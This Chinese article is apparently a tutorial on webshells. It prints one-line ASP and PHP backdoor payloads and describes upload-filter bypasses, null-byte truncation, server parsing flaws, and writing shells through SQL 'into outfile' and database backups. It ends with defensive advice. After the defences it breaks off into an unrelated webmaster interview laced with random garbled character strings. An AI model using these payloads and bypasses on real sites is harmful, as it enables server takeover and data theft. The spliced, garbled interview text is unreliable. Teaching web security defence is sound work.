编辑整理:整理来源:爱奇艺,浏览量:89,时间:2023-04-09 07:16:01
最近在我的黑客攻防视频教程里多次提到了"webshell"这个名词,很多朋友就私信问我"webshell" 究竟是什么啊?为什么很多黑客技术资料里都有提及它?
今天我们就以本篇文章内容给大家详细介绍一下"webshell技术“!
一、 什么是webshell1、简介
webshell,顾名思义:"web" - 显然需要服务器开放,"shell" - 取得对服务器某种程度上操作权限。webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。
webshell是以asp、php、jsp等网页文件形式存在的一种命令执行环境,也称其为一种网页后门。一般说来,当Hacker入侵一个网站后,会把这些asp、php木马的后门文件放在该网站的web目录中,和正常的网页文件混杂,其命名可能和正常的文件命名很类似,让人无法第一眼通过文件名判断其为后门文件。然后呢,他就可以利用web请求的方式,用asp或者php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等一系列操作。
2、基本分类
webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。
根据功能分为大马与小马,小马通常指的一句话木马,例如:<%eval request("pass")%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request("pass")转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。服务器配置(即本机配置):
这里通过提交表单的方式,将木马提交上去,具体的做法是将定义一个对象IP,然后以文本方式写入newvalue里面的内容(newvalue的内容在textarea定义),写入以覆盖的方式产生ASP文件,然后执行这个脚本。其中客户端中的value代表的是表单的名字,必须跟服务端(本机)的post提交中的表单名一样,所以这里的value可以为任意字符,相当于一个密码之类的东西,但是这个'密码'是明文的,可以截取下来。PHP的一句话原理跟以上的原理差不多,就是语言的差别导致语法不同。这就是小马的基本工作原理。
大马的工作模式简单的多,他没有客户端与服务端的区别,就是一些脚本大牛直接把一句话木马的服务端整合到了一起,通过上传漏洞将大马上传,然后复制该大马的url地址直接访问,在页面上执行对web服务器的渗透工作。但是有些网站对上传文件做了严格的限制,因为大马的功能较多,所以体积相对较大,很有可能超出了网站上传限制,但是小马的体积可以控制(比如把代码复制很多遍,或者在一个乱码文件中夹入代码),但是小马操作起来比较繁琐,可以先上传小马拿到webshell,然后通过小马的连接上传大马拿到服务器。
3、基本原理
可执行脚本
a.HTTP数据包($_GET、$_POST、$_COOKIES、$_SERVER[args]等)
数据传递
执行传递的数据
a.直接执行(eval、system、passthru等)
b.文件包含执行(include、require等)
c.动态函数执行($a="phpinfo";$a();)
d.Curly Syntax执行(${'ls'})
e.preg_replace(第一个参数存在'/e')
f.ob_start函数
g.回调函数(array_map等)
h.反序列化(unserialize等)
二、 webshell常见获取方式1、上传漏洞获取WebShell
首先说我们最常见的,已经讲过的上传漏洞,通过上传一句话木马等,获得服务器的执行权利。
文件上传漏洞主要有以下几种情况:
· MIME类型绕过漏洞
· 文件扩展名绕过漏洞
· 文件内容检测绕过类上传漏洞
· 空字节截断目录路径检测绕过类上传漏洞
· 我们可以将Request包的Content-type修改,就可以成功绕过了服务端MIME类型检测,像这种服务端检测http包的Content-type都可以用这种类似方法来绕过
检测解析导致的文件上传漏洞:
· IIS6.0站上的目录路径检测解析绕过上传漏洞
· Apache站上的解析缺陷绕过上传漏洞
· htaccess文件上传解析漏洞
这其中的技术点主要是使用Bp修改一些请求的参数,包括使用00截断操作文件名,更改类型,当然还有二进制连接等手段。
还有一些编辑器存在漏洞导致的文件上传,比如FCK编辑器。
2、sql注入获取webshell
一直以来,都以为sql注入都是用来暴露和查询关键信息的,其实对于数据库操作来说,SQL注入攻击可以获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。
MySQL:
select into outfile(dumpfile) //MySQL写文件命令
# 例如:
select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";
那么其它关系数据库管理系统同样的原理写文件,就不在过多介绍了。
3、数据库备份获取WebShell
对于这个方法,我遇见过得就是拿到管理员账号和密码之后是可以登录后台的,虽然存在上传的地方,但是只能是jpg图像,这个时候必须还得将它改成.asp后缀。这里可以用到网站中的数据库备份漏洞。在后台的"系统管理"中提供了"数据库备份"功能,我们可以将上传上去的图片文件作为要备份的数据库,然后利用可以指定备份文件名的漏洞,把备份后的文件改名成.asp后缀。具体操作如下图所示。
成功备份之后,记下已更名的webshell文件的路径\wwwroot\admin\.\admin\webshell.asp。
这里就成功地将webshell上传到了网站,输入URL:我们就可以访问这个网页了,由于他这个是个大马所以可以这样,我们一般的一句话木马没有任何内容,一般是使用中国菜刀进行连接。
4、CMS获取WebShell
什么是CMS?
CMS是Content Management System的缩写,意为"内容管理系统"。 内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场。对于内容管理,业界还没有一个统一的定义,不同的机构有不同的理解。
常见的CMS有哪些?
asp平台:动易CMS、创力CMS、科汛CMS、新云CMS;
php平台:phpcms、织梦CMS、帝国CMS、php168 CMS;
ASP.NET平台:Zoomla!逐浪CMS、动易CMS、风讯CMS、We7 CMS;
CMS获取WebShell方法
公开漏洞途径:以PHPCMS为例:
我们可以利用搜索引擎来查找互联网上公开的通用漏洞,如果目标站点并没有进行修复,即可轻松获取WebShell。
代码审计途径:
有很多CMS其实是开源的,我们可以在官网下载到源码,然后进行代码审计,自己挖掘漏洞, 来获取WebShell。
三、如何上传webshell1、解析漏洞上传
现在对于不同的web服务器系统对应的有不同的web服务端程序,windows端主流的有iis,linux端主流的有nginx。这些服务对搭建web服务器提供了很大的帮助,同样也对服务器带来隐患,这些服务器上都存在一些漏洞,很容易被黑客利用。
(1)iis目录解析漏洞
比如:/xx.asp/xx.jpg
虽然上传的是JPG文件,但是如果该文件在xx.asp文件夹下,那个iis会把这个图片文件当成xx.asp解析,这个漏洞存在于iis5.x/6.0版本。
(2)文件解析漏洞
比如:xx.asp;.jpg。在网页上传的时候识别的是jpg文件,但是上传之后iis不会解析;之后的字符,同样会把该文件解析成asp文件,这个漏洞存在于iis5.x/6.0版本。
(3)文件名解析
比如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer文件,cdx文件,asa文件都会被当成可执行文件,里面的asp代码也同样会执行。(其中asa文件是asp特有的配置文件,cer为证书文件)。
(4)fast-CGI解析漏洞
在web服务器开启fast-CGI的时候,上传图片xx.jpg。内容为:
1 <?php fputs(fop('shell.php','w'),'<?php eval($_POST[shell])?>');?>这里使用的fput创建一个shell.php文件,并写入一句话。访问路径xx.jpg/.php,就会在该路径下生成一个一句话木马shell.php。这个漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。语言环境:PHP,prel,Bourne Shell,C等语言。
*注:fast-CGI是CGI的升级版,CGI指的是在服务器上提供人机交互的接口,fast-CGI是一种常驻型的CGI。因为CGI每次执行时候,都需要用fork启用一个进程,但是fast-CGI属于激活后就一直执行,不需要每次请求都fork一个进程。比普通的CGI占的内存少。
(5)apache解析漏洞
apache解析的方式是从右向左解析,如果不能解析成功,就会想左移动一个,但是后台上传通常是看上传文件的最右的一个后缀,所以根据这个,可以将马命名为xx.php.rar,因为apache解析不了rar,所以将其解析为php,但是后台上传点就将其解析为rar,这样就绕过了上传文件后缀限制
2、截断上传
在上传图片的时候,比如命名1.asp .jpg(asp后面有个空格),在上传的时候,用NC或者抓到表单,将上传名asp后面加上%00(在burpsuite里面可以直接编辑HEX值,空格的HEX值为20,将20改为00),如果HEX为00的时候表示截断,20表示空格,如果表示截断的时候就为无视脚本中的JPG验证语句,直接上传ASP。
3、后台数据库备份
在一些企业的后台管理系统中,里面有一项功能是备份数据库(比如南方cms里面就有备份数据库的功能)。可以上传一张图片,图片里面含有一句话木马,或者将大马改成jpg格式,然后用数据库备份功能,将这张图片备份为asp等其他内容可以被解析为脚本语句的格式,然后再通过web访问就可以执行木马了,但是这种方法很老了,现在大多数的cms已经把这种备份的功能取消了,或者禁用了。
4、利用数据库语句上传
(1) mysql数据库into outfile
这种方式的前提必须是该网站有相应的注入点,而且当前用户必须要有上传的权限,而且必须有当前网页在服务器下的绝对路径。方法是用联合查询,将一句话木马导入到网站下边的一个php文件中去,然后使用服务端连接该网站。但是上述方法条件过于苛刻,一般遇到的情况很少。
(2)建立新表写入木马
一些开源cms或者自制的webshell会有数据库管理功能,在数据库管理功能里面有sql查询功能,先使用create table shell(codetext);创建一个名字叫做shell的表,表里面有列明叫做code,类型为text。然后使用insert into shell(code) values('一句话马'),这里讲shell表中的code列赋值为一句话的马,然后通过自定义备份,将该表备份为x.php;x然后就被解析成为php然后执行了,这里不是x.php;x就一定能够解析为php,不同的web服务器上面的服务程序不同,然后过滤规则也不同,可能会使用其他的方式。
(3)phpMyadmin设置错误
phpMyadmin用来管理网站数据库的一个工具,其中config.inc.php为其配置文件,在查看的该文件的时候,如果$cfg['Servers'][$i]['auth_type']参数的值设置没有设置(默认为config)说明在登陆数据库的时候没有做相应的验证,可以直接连入数据库,而且在Mysql在一些版本下面默认登陆都是以root用户进行登陆(即管理员),所以登陆进去为最大权限。但是root一般只能本地登陆,所以必须创建一个远程登陆用户。用远程登陆用户登陆之后,创建一个表,然后再将一句话木马写入。
四、webshell的防范措施了解了webshell的基本原理之后,最关键的防止器植入asp、php、jsp等木马程序文件,使用webshell一般不会在系统日志中 留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。我们一般可以从以下几方面对安全性进行处理:
1、Web软件开发的安全
A、程序中存在文件上载的,攻击者利用漏洞上载木马程序文件。
B、防sql注入、防暴库、防COOKIES欺骗、防跨站脚本攻击。
2、服务器的安全和web服务器的安全
A、服务器做好各项安全设置,病毒和木马检测软件的安装(注:webshell的木马程序不能被该类软件检测到),启动防火墙并关闭不需要的端口和服务。
B、提升web服务器的安全设置
C、对以下命令进行权限控制(以windows为例):
cmd.exe net.exe net1.exe ping.exe netstat.exe ftp.exe tftp.exe telnet.exe
3、ftp文件上载安全
设置好ftp服务器,防止攻击者直接使用ftp上传木马程序文件到web程序的目录中
4、文件系统的存储权限
设置好web程序目录及系统其它目录的权限,相关目录的写权限只赋予给超级用户,部分目录写权限赋予给系统用户。
将web应用和上传的任何文件(包括)分开,保持web应用的纯净,而文件的读取可以采用分静态文件解析服务器和web服务器两种服务器分 别读取(Apache/Nginx加tomcat等web服务器),或者图片的读取,有程序直接读文件,以流的形式返回到客户端。
5、不要使用超级用户运行web服务
对于apache、tomcat等web服务器,安装后要以系统用户或指定权限的用户运行,如果系统中被植入了asp、php、等木马程序文件,以超级用户身份运行,webshell提权后获得超级用户的权限进而控制整个和计算机。
6、利用安全工具进行检测
D盾:
2012年,没有世界末日,有的是更多的人为自己的梦想拼搏!
他,只有初中文凭,却在站长界被熟知。他,曾一个人开公司卖空间域名,卖整站源码。他,在外面发过传单,在航司四陆酒店当过服务员,在深圳做过电器张据传非世维修,在武汉做过保安。他就是中国农民——毛红亮。
除了站长身份,他自诩歌手,诗人,学者,对于做站,要有打不死的心掌源损离皮态,要有坚持再坚持的韧劲。今天,让我们走进毛红亮,解读他的人生站长路。
渐大单活王双石子:很高兴今天邀请到站长牛人毛红亮,相信其网名中国农民,很多站长都很熟悉,首先还是请毛红亮介绍一下自己吧!
毛红亮:谢谢双石子对我的这次采访!以前一直都说自己是新站长,印美安足太测比决困很不知不觉就3年了,3年里一直都在延续着我的互联网草根梦!派燃右我叫毛红亮,男,1979年生,汉族,草根站长,湖北仙桃人。“楚几内扩扩假卫有模打整天站长站”网站创始人(网名:中国农民,笔名:毛新红)。从事互联网行业多年,长期致力于网站运营策划,网络营销推广、SEM/SEO等方面的研究与实践工作。
双石子:介于70年代末80年代初,是什么原因促使你加入站长这个行列,并在这个行列,一做就是3年。
毛红亮:我加入站长行列是在2009年,那个时候我还在华中科技大学里面的一个工地做保安。他当时觉得很新鲜,就开始去了解。为什么会做楚天站长站,是我了解到我们当地有个80后站长,建了一个地方的站长站,而我莫名有了一种不服输的感觉,他可以做,我为什么不能做呢?
刚建立之初,对网站建设坐面信歌所和什么都不懂,只好到各大小站长站上面取经,由于工作原因特殊父运诗圆心房快物照杆,可以使用手机上网,接着每天都找建站经验的文章来看,十分着迷立零各期的质步奏。我记得一开始我使用的是ASP的CMS程序新云制作的楚天站,虽然我当时什么都不懂,但是我的模仿能力极强,于是我参考了几个做的好的网站,我要看他的标题写法,描述写法,关键词的设置,还有改植整行亲实据阳评件网站的底部版权,我都一一模仿。
双石子:那目前主要是全职做站长,还是业余呢?
毛红亮:目前在一家企业从事网络推广工作,虽然工资不太高,但是兵弦需投随回介往公司的工作氛围也确算融洽。当然,我的业余时间全因诗侵乡部都是在我自己的网络上面。
双石子:稳定的工作,加上业余的爱好,相辅相成是一个过程。之前从QQ群里有得知,你写过这么一篇文章,不会吹牛的站长不是合格的站长,可以跟我们说说吗?
毛红亮:是的,我写过。文章里也指出并非是大吹特吹或空吹,要有一定的网络推广成绩再适当的吹吹牛,这样可以获取得更好的口碑效应。其绝皇第罪零齐他密定春实站长圈好比娱乐圈,当过期的明星们被大家遗忘的时候,他也会出来冒个泡。
快翻各右夜觉著诚然,我并不是号召站长们都这样做。当然也并不是指我就是这么干的。我个人认为,站长要善于模仿倍,所以我们可以把推广的界面和粒超似即离容层次辐射的更广一点。低调的站长,赚钱多的站长也不在少数,他们也是经过很长时间的运营和推广,才有今天的成绩。
双石子:站长圈好比娱乐圈,当过期的明星们被大家遗忘的时候,他也会出来冒个泡。这句话很有意思。关于建站,你目前好像在模仿很多知名的站点,主要是什么原因呢?
毛红亮:我从来没有想过要出售什么仿站,我仿别人网站只是想多学习仿站经验,我总是在想,我可不可以做出一个百度?我可不可以做出一个网易?每当一个仿站完成的时候,我都是怀着无比激动的心情来欣赏的。
双石子:那在仿站这块,你是自己学习的,还是参加过培训?
毛红亮:我从接触互联网到现在也没有参加过任何什么培训,相反我现在还在培训一些新手站长们教他们如何建站和如何优化。可以说都是自学,遇到不懂的,就问百度。我并不懂程序,只懂一点点HTML,现在大多都是开源的CMS,所以会改点模板,我觉得就已经不错了。而网站建好后,更多的是涉及如何推广和如何运营。
在我所有网站作品中,大家可以看出我的风格来,不管是网站模板也好,还是优化设置也好,都有独特的见解。网站建立好了,要求网站模板尽善尽美是我始终唯一的追求。
双石子:对于网络推广,SEO优化这块,有没有相关经验跟我们分享下!
毛红亮:关于SEO优化这块,大家在网上都可以搜索到我的相关文章,可以去看看《毛红亮:你是否拥有做SEO的良好心态?》 《毛红亮:SEO中容易被忽视的几个小细节》《毛红亮:企业网络营销网站优化之我见》《毛红亮:软文是网站推广中最重要的环节》等。
双石子:谈到盈利,而的的确确是每个站长最关心的事情!曾有人说过,站长已死,主要指草根,你是怎么看的?
毛红亮:现在这个网络环境,个人站长真的是没有什么发展余地了。而且我发现网站要赢利,主要是靠业务。我做过3 个月的专职站长,我对站长有着深刻的认识,站长不可能偏重某一个方向,他可能是个全能王。站长要想赢利,必须找准方向,网站要赚钱,靠广告,靠会员,靠卖产品,那么个人站长,你们网站靠什么盈利呢?拿广告来说,大部分靠联盟和硬广告这块。而广告联盟现在除了百度联盟,基本找不出好一点的联盟了。
双石子:就站长自我宣传这块,很多站长都做的不足,尤其是软文营销这块,相信你是这块的专家,有什么经验可以分享下吗?
毛红亮:酒好也怕巷子深,那么我们有好的产品当然要覆盖到网络上的角角落落了。所以,网络推广也是网站运营中的一个很重要的环节。而软文是网络营销中的一个重要手段,作为一个站长是必不可少要做的功课。我进入网络这几年来也一直写些技术文章,里面带些我的版权。
这几点,是我认为比较重要的:
第一:写软文最重要的一点就是不要让人看完了知道是广告;
第二:不要写一些空话 或抄袭别人的内容;
第三:尽量写些有可读性的文章;
第四:模仿一些新闻文章的写作技巧和手法,比如在某一句话的后面加上:某某某公司的某某某说到;
第五:尽量不要攻击人和事;
第六:如果围绕SEO的文章写软文的话,开头一段话和结尾都要留关键词。
多看,多写,多模仿,多学习!四多就可以写好软文。
双石子:现在很多站长,开始从事网络推广的工作,你对这块又是怎么看的呢?
毛红亮:做站长的很多一部分都是业余搞网站的,所以找一份好的工作,尤其是相关互联网行业的工作,是可遇不可求的事。
第一,可以展示自己在网络推广上面的能力到底有多大;
第二,可以学习到更多的实战经验;
第三,可以让自己有一个经济支持。
双石子:为了从网站上赚钱,相信熬夜是经常的事情!那您的家人,是否支持您经常熬夜建站呢?
毛红亮:我的家人到现在都不知道我在做网站的事情。我们家是湖北仙桃农村的,只知道我在外面打工上班,知道我喜欢上网,并不知道我在网络上的事,说了也不会理解的。我确实很瘦,165的个子 ,体重不到90斤。每天晚上都要忙到凌晨,要么修改网站代码,要么帮新手站长解答几个疑问。离开公司的8小时,自己业余也要上网6小时。
双石子:付出与得到,成正比,再幸苦也没有关系。但是身体是革命的本钱,身体没养好,一切事情都是空谈!那你后悔加入站长这个行列吗?
毛红亮:如果再让我选择一次,我还继续当站长。因为我喜欢做出网站的感觉,喜欢那种成就感。
双石子:人的一生中,总有那么一些人会在你无助或者迷茫的时候,给你一些帮助。可以说是贵人,可以跟我们谈谈你在站长这个行列中遇到的一些贵人吗?
毛红亮:站长网总编,在10年的时候,经常去那投稿,他总会指正我的文章错误,提点我的文章写作水平。我悲炊的时侯,他鼓励我,我做出一个作品而高兴时,他赞赏我。给我精神上的支持最大!
双石子:你在做站过程中,有没有让你印象特别深刻的一些事呢?
毛红亮:去年我网站被黑了,黑客把我首页改了,我马上改回来,和黑客这样对峙了一整晚,一夜都没有睡觉。可能他被我的真诚所感动,又或者我做好了服务器安全,后来这样的事就没有发生了。
双石子:那对于黑客篡改网页,你有什么好的方法应对吗?
毛红亮:最重要还是要做好网站数据备份,只要你手里有备份,再怎么狠的黑客都拿你没有办法。服务器安全是关键,现在做网站 虚拟主机空间肯定不行了,限制太多,为了保证用户IP,还要选择双线机房。有条件的站长最好自己托管一台服务器。
双石子:做了这么多的站,有什么感受呢?
毛红亮:从师不如访友 访友不如闲谈。如果我有更多服务器资源,我想要做N个站!目前楚天站长站和家电维修网,运营正常。其他的站点,盈利暂时还跟不上。这其中我收获了很多站长朋友的肯定,认识了很多站长朋友。我会一如既往的走下去,打造出属于自己的网络世界。
双石子:最近在QQ群,看到你发的一些链接,听了一些你在网络上翻唱的歌曲,可以跟我们说说这个吗?
毛红亮:我一直都喜欢在网上翻唱些歌曲,尤其擅长翻唱国语歌曲为粤语歌曲。比如《爱你的心已受伤》是翻唱的《小三》、《一个浪子的故事》是翻唱的《伤心城市》,自我感觉不错的还有《仙桃人都是活雷锋》《太孤单》《放手》。
双石子:对于新手站长,你有什么建议给到他们!
毛红亮:新手站长们的模仿能力还比较欠缺,建议多学习多模仿,凡事都有一个过程。
双石子:最后祝毛洪亮在站长之路上越走越远,实现自己当初的梦想!